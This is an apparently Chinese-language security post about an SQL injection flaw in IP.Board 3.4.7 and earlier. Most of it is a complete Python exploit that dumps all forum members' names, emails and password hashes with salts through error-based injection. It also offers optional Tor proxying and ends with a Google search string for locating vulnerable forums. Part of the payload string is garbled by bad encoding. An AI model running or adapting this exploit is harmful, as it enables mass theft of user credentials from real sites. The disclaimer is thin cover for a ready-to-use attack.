IP.Board

近日IP.Board <= 3.4.7爆出重要0day漏洞。IPB论坛全称为Invision Power Board(缩写为IPB或IP.Board),是世界上最著名的论坛程序之一,由PHP+MySQL架构。 漏洞成因是酱紫的,interface/ipsconnect/ipsconnect.php页面的没有正确处理id参数。导致网站出现sql error,漏洞会把sql error写入/cache/sql_error_latest.cgi。通过不断遍历读取数据,可以获取到相应敏感信息。 漏洞POC(仅供网站安全验证,禁止非法用途) [php] #!/usr/bin/env python # Sunday, November 09, 2014 - secthrowaway [ at ] safe-mail.net # IP.Board <= 3.4.7 SQLi (blind, error based); # you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable url = 'http://target.tld/forum/' ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36" import sys, re # <socks> - http://sourceforge.net/projects/socksipy/ #import socks, socket #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050) #socket.socket = socks.socksocket # </socks> import urllib2, urllib def inject(sql): try: urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login觔 =id[]=-1[]=%s" % urllib.quote('-1) and 1!="'" and extractvalue(1,concat(0x3a,(%s)))#'' % sql), headers={"User-agent": ua})) except urllib2.HTTPError, e: if e.code == 503: data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read() txt = re.search("XPATH syntax error: ':(.*)'", data, re.MULTILINE) if txt is not None: return txt.group(1) sys.exit('Error [3], received unexpected data:n%s' % data) sys.exit('Error [1]') sys.exit('Error [2]') def get(name, table, num): sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num) s = int(inject('LENGTH((%s))' % sqli)) if s < 31: return inject(sqli) else: r = '' for i in range(1, s+1, 31): r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31)) return r n = inject('SELECT COUNT(*) FROM members') print '* Found %s users' % n for j in range(int(n)): print get('member_id', 'members', j) print get('name', 'members', j) print get('email', 'members', j) print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j) print '----------------' [/php] POC来源:https://www.marshut.net/krtqnk/ip-board-3-4-7-sql-injection.html Google关键字:inurl:Software by IP.Board 3.4. inurl:Forum
